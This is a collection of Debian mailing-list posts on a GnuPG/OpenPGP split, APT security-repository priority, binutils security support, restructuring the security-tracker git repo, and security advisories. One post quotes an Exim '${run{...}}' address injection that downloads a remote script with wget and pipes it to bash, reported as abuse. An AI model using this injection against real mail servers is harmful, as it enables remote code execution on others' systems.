Re: Reaction to potential PGP schism
Hi Gioele-- On Thu 2023-12-21 11:02:06 +0100, Gioele Barabucci wrote: > On 21/12/23 04:16, Daniel Kahn Gillmor wrote: > As the Uploader of rust-sequoia-openpgp, what do you think of the > related sequoia-chameleon-gnupg project [1] (drop-in replacement for gpg > that uses sequoia internally)? > > Would it work as a stop-gap measure while the Debian infrastructure > moves from GnuPG to something else (to `sop`, for instance)? > > [1] https://gitlab.com/sequoia-pgp/sequoia-chameleon-gnupg not yet in > Debian AFAIK Thanks for pointing this out! It looks interesting, but i've never used it (or even tested it) myself. I don't think it can be a completely perfect, feature-for-feature replacement for GnuPG, given the overwhelming complexity and peculiarity of the GnuPG interface, but I imagine it would work for some people, for some purposes. I certainly wouldn't object to anyone packaging it for debian as long as it ships its binary interface someplace other than /usr/bin/gpg. Modulo dealing with the rust dependencies, that seems like an obviously reasonable and straightforward thing to try to do. I don't know how the "chameleon" would compare with GnuPG itself in terms of performance or some of the scaling concerns i mentioned in my earlier e-mail, but such a straightforward deployment should make it easy to test. If you're asking about using /etc/alternatives or something like that to provide some sort of generic swapping capability, or a dpkg Provides:, such that /usr/bin/gpg on some systems would point toward the "chameleon", i would want to see some significant archive-wide testing done before we even consider inflicting that on our normal users. This would be the kind of thing that the experimental archive is designed for. One of the ongoing challenges with GnuPG development is the fear of dropping or mis-handling some feature or flag or option or configuration that someone has stuffed into some script somewhere and completely forgotten about. GnuPG itself deals with this kind of problem regularly, and sometimes things like this do break during an upgrade. Clawing the way back from such a break actually ends up making the interface even more complex and surprising to those people who haven't seen how it accreted in the first place :/ It was scary enough to change /usr/bin/gpg to move from the 1.4 branch to the 2.x branch many years ago (we shipped the 2.0 branch as /usr/bin/gpg2, and only finally made /usr/bin/gpg update when the 2.1.x branch was sufficiently mature). And even thenm we dealt with the fallout from that change for years (e.g. see /usr/bin/migrate-pubring-from-classic-gpg in the gnupg-utils package). The differences were enough that I resisted using /etc/alternatives to let each installation decide which package offered /usr/bin/gpg1, because of the dangerous side effects of switching back and forth (see #806904 for example, and the conversations at DebConf14). I can only imagine that trying to ship the "chameleon" as /usr/bin/gpg would face some of the same challenges, probably even more severely. At best, something like this would be a stop-gap, as you say. i wouldn't want the long-term health of *PGP functionality in debian to depend specifically on the command-line interface for /usr/bin/gpg, regardless of who is implementing it. Even GnuPG upstream appears to agree with this sentiment, as they encourage programmatic users of GnuPG to use libgpgme, which is supposed to hide some of the command-line complexity. --dkg signature.asc Description: PGP signature
Re: Reaction to potential PGP schism
hey folks-- [ This message won't make sense unless the reader distinguishes clearly between OpenPGP the protocol and GnuPG the implementation! As a community we have a history of fuzzily conflating the two terms, which is one of the reasons that we're in this mess today. Please read explicitly. ] [ Background: for those who don't know, i've been a maintainer in debian of GnuPG and other OpenPGP-related tooling for several years, and i'm also the co-chair of the IETF's OpenPGP working group; i participated in many of the discussions that led to the current sorry situation, and it is happening despite my best efforts to avoid this problem. I'm probably as responsible for this situation as anyone in Debian is. My apologies. ] The best outcome, in my opinion, would be for GnuPG to go ahead and implement the pending updated OpenPGP specification (the so-called "crypto-refresh"). I say this despite personally preferring some of the concrete ways that i think the GnuPG project would have preferred to (as indicated by the latest "LibrePGP" Internet-Draft, at least) diverge from the OpenPGP specification. There are enough other advantages to the OpenPGP crypto-refresh that it doesn't make sense for GnuPG to deliberately avoid implementing the community consensus. The GnuPG project clearly has all the underlying cryptographic and engineering capability to do this, if it wants to, and the OpenPGP crypto-refresh process took deliberate measures to avoid collisions with any prematurely deployed code that implements a draft that hadn't managed to reach a rough consensus. Can debian make GnuPG interoperate with the rest of the OpenPGP ecosystem? Probably not without GnuPG's cooperation: it would be a substantial patchset to carry in Debian, and even trickier to do if GnuPG upstream sees such a patchset as hostile. Read on below if you want to consider some other options. Stephan Verbücheln wrote: > As you probably know, Debian relies heavily on GnuPG for various > purposes, including: > - developer communication > - signing of tarballs and patches > - automated processes such as update validation by APT Debian by policy and by mechanism relies heavily on the OpenPGP protocol for these things. And i'd also add certificate verification, aka "web of trust" for Debian developer identities to the list as well. In particular, we use OpenPGP for cryptographic signing of software source, packaging information, archive control, and distribution mechanisms; for developer identities; and for cryptographic verification of all of these things. As a project, we don't make much use of the encryption/decryption parts of OpenPGP, since we develop mainly in the open. But not everyone uses GnuPG for these purposes. There are multiple interoperable OpenPGP implementations in Debian beyond the GnuPG family (C), including RNP (C/C++), pgpainless (java), pgpy (Python), GOpenPGP (Go), hOpenPGP (haskell), and Sequoia (Rust). But it is also true that the GnuPG implementation specifically is baked into some of our infrastructure. I'll get into why that is below (see "Why is GnuPG on Debian's Critical Path?"). > How can Debian deal with this? Should Debian intervene to prevent the > worst? I don't think Debian can make a specific intervention that will avoid the global problem, but i think there are things we can consider going forward. One possible approach is to drop the use of OpenPGP (or "LibrePGP") entirely, and instead base our internal cryptographic dependencies on bespoke cryptographic implementations. I think that would be a mistake. I do not want Debian's long-term health to depend on any particular implementation. If the implementation fails then we would have to (as a project) decide on our own upgrade path. For a failure due to cryptanalytic advances, that can be particularly harrowing: I don't think we as a project have the necessary expertise to do that well. For failures due to buggy implementations, we can always patch, but i wonder about the amount of cryptanalytic review a bespoke implementation will have as opposed to publicly audited generic tooling. If we have to decide as a project on LibrePGP vs. OpenPGP, i'd prefer the wider community project with a stable reference, functioning (albeit sometimes rough) consensus, a range of diverse implementations, and substantial public interoperability testing. That means OpenPGP. To be clear, the IETF OpenPGP working group actively solicited input from the GnuPG team, and tried to work with the project as one significant implementation among many. But ultimately, the GnuPG project decided to break away from the community process, and created this "LibrePGP" split, which threatens interoperability for the *PGP ecosystem as a whole. Maybe the end result of this will be to put a nail in *PGP's coffin, and we'll all just go back to bespoke cryptographic implementations that have no stable reference other than the source code, and little
Re: Setting APT::Default-Release prevents installation of security updates in bookworm!?
Hi Paul, On Sat, Jul 22, 2023 at 03:56:02PM +0800, Paul Wise wrote: > > One mention I found is in Raphaël and Roland's DAH (now in CC): > > https://debian-handbook.info/browse/stable/sect.apt-get.html#sect.apt-upgrade > > Probably better to file a bug about this, so it is tracked. Ah, I didn't realise debian-handbook has a package in the archive :) Done, Bug#1041706: debian-handbook: Wrong advice on APT::Default-Release preventing security updates. > > What I don't understand is why the security repo codename wasn't changed to > > $codename/security? Wouldn't that be handled correctly by APT? Unless the > > /update string in particular had special handling? > > You will have to ask the apt developers and archive admins about this, > but at the end of the day reverting it is unlikely to happen, so > probably it is something everyone will just have to learn to live with. I've had a quick look at the apt code now and indeed it seems to handle $codename/$whatever as equivalent to $codename, see metaIndex::CheckDist. I don't see why we couldn't revert this change. Anybody who's applied the hack from the bullseye release-notes will be unaffected as the regex will still match a plain code/suite-name but people who never applied this advice will get their security updates back. I've sent a bug to apt as well, just about the doc references for now: Bug#1041708: apt: Manpages have wrong advice on APT::Default-Release preventing security updates. Who do I contact about the archive aspects? FTP-master or the security-team? The security-team is in CC on the doc bugs so I'm hoping they will see it anyway. Thanks, --Daniel
Re: Setting APT::Default-Release prevents installation of security updates in bookworm!?
Hi Paul, On Fri, Jul 21, 2023 at 10:17:28AM +0800, Paul Wise wrote: > On Thu, 2023-07-20 at 22:12 +0200, Daniel Gröber wrote: > > > It seems packages from the debian-security repository are not affected by > > this increased priority and will not get intalled as a result. > > This was documented in the release notes for Debian bullseye: > > https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive Now that you mention it I remember reading this and getting quite irritated. Probably why I forgot about it. Do you have any references on how this decision came to be? > I have updated a few wiki pages that mention APT::Default-Release too. > > https://wiki.debian.org/DebianUnstable?action=diff=144=145 > https://wiki.debian.org/DebianEdu/Status/Bullseye?action=diff=107=108 > https://wiki.debian.org/Wajig?action=diff=20=21 > https://wiki.debian.org/FunambolInstallation?action=diff=9=10 > > If there is other documentation of APT::Default-Release that should get > updated, please let us know so that we can fix it. One mention I found is in Raphaël and Roland's DAH (now in CC): https://debian-handbook.info/browse/stable/sect.apt-get.html#sect.apt-upgrade The places I'm most concerned about, people's brains and random web sites, aren't so easily fixed unfortunately. Advice to set this is splattered all over the web, I really don't understand why we made a change so seemingly ill advised as this? A web search for "Debian Default-Release security" didn't reveal anything talking about this problem, especially not our release notes, so I think this change didn't get the publicity it deserves at the very least. What I don't understand is why the security repo codename wasn't changed to $codename/security? Wouldn't that be handled correctly by APT? Unless the /update string in particular had special handling? Thanks, --Daniel
Setting APT::Default-Release prevents installation of security updates in bookworm!?
Hi debian-security, I've just noticed something rather distressing. As part of my usual Debian installation I set `APT::Default-Release "stable";` which causes a change of apt priorities for packages from this release (or so I thought) from the usual 500 to 990. This is recommended in various places, but I don't recall if d-i sets this up by default or not. It seems packages from the debian-security repository are not affected by this increased priority and will not get intalled as a result. Note: `apt-cache policy` tends to lie. I observed this by actually trying to install a kernel update from d-security that should get installed but doesn't. As soon as I remove the Default-Release line from apt.conf the update gets offered for installation. Has anyone else observed this or is something broken in my apt config somewhere? --Daniel
Re: deb.debian.org vs security.debian.org
Georgi Naplatanov wrote: > I have no opinion but found this > https://wiki.debian.org/SourcesList SZÉPE Viktor wrote: > And there is this > https://wiki.debian.org/NewInBullseye#Changes Both of these were referenced in my original message: https://lists.debian.org/debian-devel/2021/08/msg00166.html Dan Urbana, Illinois
deb.debian.org vs security.debian.org
Debian Security, Is there a preferred sources.list URI for the Debian security repository between: * http://deb.debian.org/debian-security * http://security.debian.org/debian-security I asked in debian-devel and received two replies: * https://lists.debian.org/debian-devel/2021/08/msg00166.html * https://lists.debian.org/debian-devel/2021/08/msg00167.html * https://lists.debian.org/debian-devel/2021/08/msg00172.html but no consensus. Thank you! Daniel Lewart Urbana, Illinois
Re: Misuse/Abuse
Am Dienstag, den 13.10.2020, 08:51 +0200 schrieb Knieling, Christian (IANM): > To whom this may concern, > > I got a system message from my mailer daemon lately. It contains > > cut > Message 1kS01n-0008Kv-Nb has been frozen (delivery error message). > The sender is <>. > > The following address(es) have yet to be delivered: > > ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t-O\t- > \thttps\x3A\x2F\x2Fpaste\x2Edebian\x2Enet\x2Fdownloadh\x2Fb8e3188e\t\x7C\tbas > h\x22}}@ianm-mang.math.kit.edu: > Too many "Received" headers - suspected mail loop > cut [..] > I don't know if this messages reaches the right persons, but someone may > forward it. You may at least remove the files which are accessible on > paste.debian.net. Clearly someone tries to run a command put as an address. Out of curiosity: Which kind of vulnerability are they trying to use here? Regards, Daniel -- Regards, Daniel Leidert | https://www.wgdd.de/ GPG-Key RSA4096 / BEED4DED5544A4C03E283DC74BCD0567C296D05D GPG-Key ED25519 / BD3C132D8B3805D1808123AB7ACE00941E338C78 If you like my work consider sponsoring me via https://www.patreon.com/join/dleidert signature.asc Description: This is a digitally signed message part
Bug#948634: debian-security-support: please elaborate on binutils' status
Package: debian-security-support Version: 2019.06.13 Severity: important Tags: patch Control: affects -1 binutils Dear Maintainer, Now that binutils has limited security support, please elaborate on its status. Suggested patch (against current git): --- a/security-support-limited +++ b/security-support-limited @@ -7,7 +7,7 @@ #In the program's output, this is prefixed with "Details:" adnsStub resolver that should only be used with trusted recursors -binutilsNot covered by security support +binutilsOnly suitable for trusted content; see https://lists.debian.org/msgid-search/87lfqsomtg@mid.deneb.enyo.de ganglia See README.Debian.security, only supported behind an authenticated HTTP zone, #702775 ganglia-web See README.Debian.security, only supported behind an authenticated HTTP zone, #702776 glpiOnly supported behind an authenticated HTTP zone for trusted users @Florian That linked message is yours; any objections from you? Thanks, Daniel P.S. Priority "important" since binutils' rdeps include dpkg-dev, gcc, and clang, so I assume this is quite visible.
Re: Why no security support for binutils? What to do about it?
> Some of its checks look inherently dangerous, e.g. the bash -n check for > shell syntax. Why would bash -n be dangerous? signature.asc Description: OpenPGP digital signature
Re: New wifite repo?
Hi Sophie! El mar., 10 de dic. de 2019 a la(s) 05:24, Sophie Brun (sop...@freexian.com) escribió: > Hi Daniel, > > > Le 26/11/2019 à 16:14, Daniel Echeverry a écrit : > > Hi! > > [..] > > I wrote to the upstream, and he will make a new release this weekend, > once it's done, I will work in package this version. > > > > I had to update wifite for Kali even if upstream didn't make a new > release. I took a git snapshot. > I push the changes on Debian salsa. If you want to check it before we ask > for upload. > > Thanks, > Sophie > For me is ok, go ahead! Aditionality, I updated my email address. Regards. -- Daniel Echeverry Debian Developer https://wiki.debian.org/DanielEcheverry Linux user: #477840 GPG Fingerprint: D0D0 85B1 69C3 BFD9 4048 58FA 21FC 2950 4B52 30DB
Bug#908678: Split file repo v2
as requested in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=908678#139 we have created a data/CVE/.list repo ("v2") during MiniDebConf HH It is mirrored at Salsa: https://salsa.debian.org/dlange/debian_security_security-tracker_split_files_v2
Bug#908678: Update on the security-tracker git discussion
Am 06.06.19 um 07:31 schrieb Salvatore Bonaccorso: Could you again point me to your splitted up variant mirror? https://git.faster-it.de/debian_security_security-tracker_split_files/
Bug#908678: Update on the security-tracker git discussion
Zobel brought up the security-tracker git discussion in the #debian-security irc channel again and I'd like to record a few of the items touched there for others that were not present: DLange has a running mirror of the git repo with split files since three months. This is based on anarcat's scripts published previously in this bug. The rewriting mirror repo works flawlessly. All history is retained sans gpg commit signatures. Corsac noted that "redoing the tooling is a pain" and anarcat and DLange iterated we are willing to help fix the tools. But we need a commitment from the security-team that the migration to a split file repo is wanted. And we need a prioritized list of tools that need to be split-files enabled. The discussion iterated that "moving elsewhere" doesn't really fix the underlying git-usage issue. So while this would take load off salsa, it will not improve clone times and hamper collaboration with Debian people outside the security team. Still - to gain some data - DLange tried to push the security-tracker repo to github. This bails out as the history contains a file > 100MB (hard limit for Github): remote: error: GH001: Large files detected. You may want to try Git Large File Storage - https://git-lfs.github.com. [..] remote: error: File data/CVE/allitems.html is 111.44 MB; this exceeds GitHub's file size limit of 100.00 MB So we would have to re-write history for pushing to GitHub. Commits from 2017-12-29 that introduce "data/CVE/allitems.html" and drop it again would need to be modified. Technically all commits after these have to be re-written as well. I have not tested whether Github supports refs/replace substitutes which would be a work-around. As noticeable on Salsa and per https://gitlab.com/gitlab-com/support-forum/issues/230 Gitlab does not enforce per-file size limits. But the pain of hosting and using this repo is not really different for any Gitlab instance. So that means self-hosting of a non-split-file repo would probably have to be on a security DSA machine or similar. Again, as said above, discussion participants outside the security team would prefer a commitment to split the offending data/CVE/list file into annual chunks, enable the tooling and stay on salsa.
Bug#908678: Testing the filter-branch scripts
Am 13.11.18 um 23:09 schrieb Moritz Muehlenhoff: > The current data structure works very well for us and splitting the files > has many downsides. Could you detail what those many downsides are besides the scripts that need to be amended?
Bug#908678: Testing the filter-branch scripts
> The Python job finished successfully here after 10 hours. 6h40 mins here as I ported your improved logic to the python2 version :). # git filter-branch --tree-filter '/usr/bin/python2 /split-by-year.pyc' HEAD Rewrite 1169d256b27eb7244273671582cc08ba88002819 (68356/68357) (24226 seconds passed, remaining 0 predicted) Ref 'refs/heads/master' was rewritten The tree-filter blows up the .git/objects store to 13G though. But nothing a git gc can't fix. > > I did some tests on the new git repository. Cloning the repository from > scratch takes around 2 minutes (the original repo: 21 minutes). Confirmed. > So that's about it. I have not done a thorough job at checking the > actual *integrity* of the results. It's difficult, considering CVE > identifiers are not sequential in the data/CVE/list file, so a naive > diff like this will fail: > > $ diff -u <(cat > ../security-tracker-full-test-filtered-bis/data/CVE/list.{2019,2018,2017,2016,2015,2014,2013,2012,2011,2010,2009,2008,2007,2006,2005,2004,2003,2002,2001,2000,1999} > ) data/CVE/list | diffstat > list |106562 > +-- > 1 file changed, 53281 insertions(+), 53281 deletions(-) > > But at least the numbers add up: it looks like no line is lost. And > indeed, it looks like all CVEs add up: > > $ diff -u <(cat > ../security-tracker-full-test-filtered-bis/data/CVE/list.{2019,2018,2017,2016,2015,2014,2013,2012,2011,2010,2009,2008,2007,2006,2005,2004,2003,2002,2001,2000,1999} > | grep ^CVE | sort -n ) <( grep ^CVE data/CVE/list | sort -n ) | diffstat > 0 files changed > > A cursory look at the diff seems to indicate it is clean, however. I uploaded "my" version to https://people.debian.org/~dlange/ so people can poke the log and diffs and see whether there are any issues left. > I looked at splitting that file per CVE. That did not scale and just > created new problems. But splitting by *year* seems like a very > efficient switch, and I think it would be worth pursuing that idea > forward. The tools in bin/ would need a brush through. I.e. throw away the unused ones and amend the ones that are used on data/CVE/* to learn about the split files.
Bug#908678: Some more thoughts and some tests on the security-tracker git repo
The main issue is that we need to get clone and diff+render operations back into normal time frames. The salsa workers (e.g. to render a diff) time out after 60s. Similar time constraints are put onto other rendering frond-ends. Actually you can easily get Apache to segfault if you do not time-constrain cgi/fcgi type processes. But that's out of scope here. Back on topic: Just splitting the file will not do. We need to (unfortunately) somehow "get rid" of the history (delta-resolution) walks in git: # test setup limits: Network bw: 200 MBit, client system: 4 core $ time git clone https://.../debian_security_security-tracker Klone nach 'debian_security_security-tracker' ... remote: Counting objects: 334274, done. remote: Compressing objects: 100% (67288/67288), done. remote: Total 334274 (delta 211939), reused 329399 (delta 208905) Empfange Objekte: 100% (334274/334274), 165.46 MiB | 21.93 MiB/s, Fertig. Löse Unterschiede auf: 100% (211939/211939), Fertig. real14m13,159s user27m23,980s sys 0m17,068s # Run the tool already available to split the main CVE/list # file into annual files. Thanks Raphael Geissert! $ bin/split-by-year # remove the old big CVE/list file $ git rm data/CVE/list # get the new files into git $ git add data/CVE/list.* $ git commit --all [master a06d3446ca] Remove list and commit bin/split-by-year results 21 files changed, 342414 insertions(+), 342414 deletions(-) delete mode 100644 data/CVE/list create mode 100644 data/CVE/list.1999 create mode 100644 data/CVE/list.2000 create mode 100644 data/CVE/list.2001 create mode 100644 data/CVE/list.2002 create mode 100644 data/CVE/list.2003 create mode 100644 data/CVE/list.2004 create mode 100644 data/CVE/list.2005 create mode 100644 data/CVE/list.2006 create mode 100644 data/CVE/list.2007 create mode 100644 data/CVE/list.2008 create mode 100644 data/CVE/list.2009 create mode 100644 data/CVE/list.2010 create mode 100644 data/CVE/list.2011 create mode 100644 data/CVE/list.2012 create mode 100644 data/CVE/list.2013 create mode 100644 data/CVE/list.2014 create mode 100644 data/CVE/list.2015 create mode 100644 data/CVE/list.2016 create mode 100644 data/CVE/list.2017 create mode 100644 data/CVE/list.2018 # this one is fast: $ git push # create a new clone $ time git clone https://.../debian_security_security-tracker_split_files test-clone Klone nach 'test-clone' ... remote: Counting objects: 334298, done. remote: Compressing objects: 100% (67312/67312), done. remote: Total 334298 (delta 211943), reused 329399 (delta 208905) Empfange Objekte: 100% (334298/334298), 168.91 MiB | 21.28 MiB/s, Fertig. Löse Unterschiede auf: 100% (211943/211943), Fertig. real14m35,444s user27m45,500s sys 0m21,100s --> so splitting alone doesn't help. Git is not clever enough to not run through the deltas of not to be checked-out files. git 2.18's git2 wire protocol could be used with server-side filtering but that's an awful hack. Telling people to git clone --depth 1 #(shallow) like Guido advises is easier and more reliable for the clone use-case. For the original repo that will take ~1.5s, for a split-by-year repo ~0.2s. There are tools to split git files and keep the history e.g. https://github.com/potherca-bash/git-split-file but we'd need (to create) one that also zaps the old deltas. So really "rewrite history" as the git folks tend to call this. git filter-branch can do this. But it would get somewhat complex and murky with commits that span CVE/list-year and list-year+1 which are at least 21 for 2018+2017, 19 for 2017+2016 and ~10 for previous year combos. So I wouldn't put too much effort into that path. In any case, a repo with just the split files but no maintained history clones in ~12s in the above test setup. It also brings the (bare) repo down from 3,3GB to 189MB. So the issue is really the data/CVE/list file. That said, data/DSA/list is 14575 lines. That seems to not bother git too much yet. Still if things get re-structured, this file may be worth a look, too. To me the most reasonable path forward unfortunately looks like start a new repo for 2019+ and "just" import the split files or single-record files as mentioned by pabs but not the git/svn/cvs history. The old repo would - of course - stay around but frozen at a deadline. Corsac also mentioned on IRC that the repo could be hosted outside of Gitlab. That would reduce the pressure for some time. But cgit and other git frontends (as well as
new version of wifite
Hi Team! I am working a new version of wifite[1], Could someone check it out? Thank you very much! Regards [1]: https://salsa.debian.org/pkg-security-team/wifite/ -- Daniel Echeverry http://wiki.debian.org/DanielEcheverry http://rinconinformatico.net Linux user: #477840 Debian user
Re: Pantalla fija con dibujos bloquea el ordenador
alt+tab -- *Daniel Romo* d4nnr.blogspot.com.co #Blog_Personal El 11 de enero de 2018, 10:45, DANIEL ROMO<danielromogar...@gmail.com> escribió: > Hola > > puedes enviar un print screen ? (con tu celular) > > > amt+tab para cambiar de ventana es una solución > > ;) > > > > -- > > *Daniel Romo* > > d4nnr.blogspot.com.co #Blog_Personal > > El 11 de enero de 2018, 02:42, R Calleja<rcalle...@gmail.com> escribió: > >> Hola buenos dias, alquien puede ayudarme. >> De vez en cuando, al abrir el navegador normalmente, sale una imagen >> que oculta el escritorio y me impide seguir trabajando. >> Tengo que reiniciar el equipo. >> Trabajo con debian jessie. >> >> Saludos, Roberto. >> >> >
Re: Pantalla fija con dibujos bloquea el ordenador
Hola puedes enviar un print screen ? (con tu celular) amt+tab para cambiar de ventana es una solución ;) -- *Daniel Romo* d4nnr.blogspot.com.co #Blog_Personal El 11 de enero de 2018, 02:42, R Calleja<rcalle...@gmail.com> escribió: > Hola buenos dias, alquien puede ayudarme. > De vez en cuando, al abrir el navegador normalmente, sale una imagen > que oculta el escritorio y me impide seguir trabajando. > Tengo que reiniciar el equipo. > Trabajo con debian jessie. > > Saludos, Roberto. > >
Re: Unsuscribe
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 You need to use the web form: https://www.debian.org/MailingLists/unsubscribe On 01/11/17 13:55, Donald Haley wrote: > Please unsuscribe me. > > Thanks -BEGIN PGP SIGNATURE- iQFIBAEBCgAyFiEErEVwVy+FOWKYCpbdrygR60hkMfgFAln53I0UHGRhbkBwaW5n c3dlZXAuY28udWsACgkQrygR60hkMfiayQgAnKlYPiciiBRUwIerA4uM9fYEDEHS ql4gwN8IsZpL2d9ArT5XW5sAmLrDK75P62P8SY9stiA1H82W+rOMAg0FNfMowd2m T8O4RM++jjWEnF74FZHpESTZTCY9M62imCBZ3fnO+a2Ce49v0zFH/eC2AdIE1Vq7 1U6YNGp6nBJdGMtvnuv0voh6jmlOLia1uwpA6iB0D8HvcOsm7rY+6+22l9kAbjtc +hkqD04QMvGEZxRlJB0QdzOZFZpXnukKq8Jyjkx+6lMuitep+MCE7hLrIUlKr4zV K/vUc56Zbppk8IoJjjOHboCt9fvBuoCreLRiImBy1Cnnm1Y4m2Tucg3juw== =ILyQ -END PGP SIGNATURE-
Re: [SECURITY] [DSA 3909-1] samba security update
On 14.07.2017 16:19, Sven Hartge wrote: > For me the binary packages have dependencies unfulfillable in Jessie: > > The following packages have unmet dependencies: > samba-common-bin : Depends: libncurses5 (>= 6) but 5.9+20140913-1+b1 is > to be installed > Depends: libreadline7 (>= 6.0) but it is not installable > Depends: libtinfo5 (>= 6) but 5.9+20140913-1+b1 is > to be installed > Depends: samba-libs (= 2:4.2.14+dfsg-0+deb8u7) but > 2:4.2.14+dfsg-0+deb8u6 is to be installed Same here. Thanks for jumping in and reporting this, I wasn't sure if I hadn't just messed up my apt-pinning... > The 32bit i386 packages on the hand are fine, probably because they > were built by a buildd. On an i386 VM the upgrade ran fine here as well. Cheers Daniel signature.asc Description: OpenPGP digital signature
Re: Some Debian package upgrades are corrupting rsync "quick check" backups
On 01/28/2017 03:51 PM, Holger Levsen wrote: > On Sat, Jan 28, 2017 at 03:04:56PM +0100, Daniel Reichelt wrote: >> I highly suspect this stems from packages' rules files supporting >> reproducible builds. > > I rather think this is due to binNMUs not modifying debian/changelog… > (in the source package while it's modified in the binary packages…) > Makes sense. Thanks for the clarification, Holger. signature.asc Description: OpenPGP digital signature
Re: Some Debian package upgrades are corrupting rsync "quick check" backups
Hi, I highly suspect this stems from packages' rules files supporting reproducible builds. The only way I see to solve this would be for the "reproducible builds" infrastructure to hard-wire new timestamps at release-time of a new package version. Also: this is not limited to rsync. Basically any tool relying on (mtime/file size) as a changed indicator is affected by this. Even if the tool in question relied on (mtime/file size/inode number), "changed checks" could be subverted in situations where changes are made to the file directly instead of writing a new file and moving it into place (thus retaining the inode number). Cheers Daniel signature.asc Description: OpenPGP digital signature
CVE 2016-2107 OpenSSL 1.0.1e-2+deb7u21
OpenSSL 1.0.1e-2+deb7u21 purports to have fixed CVE-2016-2107. However, an SSL Labs check of a site running this version still comes up with the issue: https://www.ssllabs.com/ssltest/analyze.html?viaform=on=www.k2dls.net So which is correct, is the issue is resolved in the referencee version and SSL Labs is wrong or does the issue still exist. Can anyone else independently evaluate and confirm?
Re: [SECURITY] [DSA 3654-1] quagga security update
unsubscrbe On Thu, Aug 25, 2016 at 11:03 PM, Sebastien Delafondwrote: > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA512 > > - > - > Debian Security Advisory DSA-3654-1 secur...@debian.org > https://www.debian.org/security/ Sebastien Delafond > August 26, 2016 https://www.debian.org/security/faq > - > - > > Package: quagga > CVE ID : CVE-2016-4036 CVE-2016-4049 > Debian Bug : 822787 835223 > > Two vulnerabilities were discovered in quagga, a BGP/OSPF/RIP routing > daemon. > > CVE-2016-4036 > > Tamás Németh discovered that sensitive configuration files in > /etc/quagga were world-readable despite containing sensitive > information. > > CVE-2016-4049 > > Evgeny Uskov discovered that a bgpd instance handling many peers > could be crashed by a malicious user when requesting a route dump. > > For the stable distribution (jessie), these problems have been fixed in > version 0.99.23.1-1+deb8u2. > > We recommend that you upgrade your quagga packages. > > Further information about Debian Security Advisories, how to apply > these updates to your system and frequently asked questions can be > found at: https://www.debian.org/security/ > > Mailing list: debian-security-annou...@lists.debian.org > -BEGIN PGP SIGNATURE- > > iQEcBAEBCgAGBQJXv7uWAAoJEBC+iYPz1Z1k9gEIAIJFfP8HBGxxk0wi9VtvH8YP > ns5vxN2NJecHqaSK9KGVq1HPn14/mlSu+ylhdSJ9tFyU7ELoqbkrGH4C4EqH3FnJ > 2sHQLdJ82It9/W4OzXf0+WXW9gUOKS4SvkhSphuGJL9DNJRclb3LGYUnRBzP7qhB > w5tR1/tKNYqpgMUzFauHt1dDmWhNr3T0++ejFOJv6S1VAFGTDFFBhNoLD3wT25gd > aAgGFUfYWkGqz+vhcHGBXD1w4x8+SjBQ4jycIUoGHMNDfIu9rb/R2xVbl6XDzZXZ > NIB9aL3c6KU4MILl9MGt2YVbKlYgf7Yuc4c7ZyrZ+YwamwveVhdZwEBwWx7Hiog= > =SWnF > -END PGP SIGNATURE- > > -- CAUTION - Disclaimer * *This e-mail communication (including any and all attachments transmitted with it) may contain legally privileged and confidential information and is intended solely for the use of the recipient named. If the reader of this e-mail communication is not the intended recipient, you are hereby notified that any reading, dissemination, distribution, copying, or other use of this e-mail communication (including any and all attachments), or any of its contents, is strictly prohibited. If you have received this e-mail communication in error, please notify the sender immediately by electronic mail (sender's e-mail address). Thereafter, immediately delete the original e-mail communication (including any and all attachments), all copies, including but not limited to, all backups thereof from your computer system. Thank you* ** End of Disclaimer ***OliveTech**
Re: [SECURITY] [DSA 3621-1] mysql-connector-java security update
Uhpppopppiujiki MN I have .. buy bio Yg.viuuu On 18 Jul 2016 17:32, "Salvatore Bonaccorso"wrote: > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA512 > > - - > Debian Security Advisory DSA-3621-1 secur...@debian.org > https://www.debian.org/security/ Salvatore Bonaccorso > July 18, 2016 https://www.debian.org/security/faq > - - > > Package: mysql-connector-java > CVE ID : CVE-2015-2575 > > A vulnerability was discovered in mysql-connector-java, a Java database > (JDBC) driver for MySQL, which may result in unauthorized update, insert > or delete access to some MySQL Connectors accessible data as well as > read access to a subset of MySQL Connectors accessible data. The > vulnerability was addressed by upgrading mysql-connector-java to the new > upstream version 5.1.39, which includes additional changes, such as bug > fixes, new features, and possibly incompatible changes. Please see the > MySQL Connector/J Release Notes and Oracle's Critical Patch Update > advisory for further details: > > https://dev.mysql.com/doc/relnotes/connector-j/5.1/en/news-5-1.html > > http://www.oracle.com/technetwork/topics/security/cpuapr2015-2365600.html#AppendixMSQL > > For the stable distribution (jessie), this problem has been fixed in > version 5.1.39-1~deb8u1. > > We recommend that you upgrade your mysql-connector-java packages. > > Further information about Debian Security Advisories, how to apply > these updates to your system and frequently asked questions can be > found at: https://www.debian.org/security/ > > Mailing list: debian-security-annou...@lists.debian.org > -BEGIN PGP SIGNATURE- > Version: GnuPG v1 > > iQIcBAEBCgAGBQJXjQKkAAoJEAVMuPMTQ89Ee2UP/18I4detSRWBBnIaEGlmIqEw > wTnsJlwtxwCjzDXRL61Vd2MxNbHEGwq8IQi/nWnoNhqRBUXEko5/X72Gx5UFtrMK > 5nu1uTZe8xCmFJUaTsvfEb0FtKJ/1I07VHcxgjXJx6J9SXPtal8oKnAQLKfCQAPT > +eFnY8ISjc6xaEYJK/Ddtjt/GXTWPFEvtd4mWH+l19kc2uLwR6RjCgr8NLdsmERv > D5EgTgj5MbnMZPW6SpvcRJj2aWRLqADe9CLxNlw19NNzaXsuZ3Od8IZQ75Nt95CG > RW69EqQTKjblVhvGyb7U13TKqvieM5cqmww2oqt6+4+M/vvJcXctEPT1jBhexJNX > 2cy8fzwlI4OMqIrPfJ/SJh7+YQfD9zSLKWuYkVIy+K/39tmIahlLY6TKS8AvIAda > sxDTnvj9dajZEI/DUXdtMoMeqg8hHXs1cYHFFN2uKPLdTTvyAqGQBl9ycf5Njlfa > 9rQmdr0UhdP03a5JDSmCBmj+t8iA2hnelV4hg0FtwKUeoguihato8ULOpYQXx1Hg > 5AjwBqpNCLBjBVSKzAjJgR9pXO0M3Ibh/dp/55znDMU8evniVVcS8avnePZeIL5V > 2suyruiCgLE9CmoWD+p1UzV1qdLHdXnZrZEsUejfX1O0C2u2QdDgHuSF/hCnw1Nj > hEABqqwx0F1UALfdvI0A > =ezgL > -END PGP SIGNATURE- > >
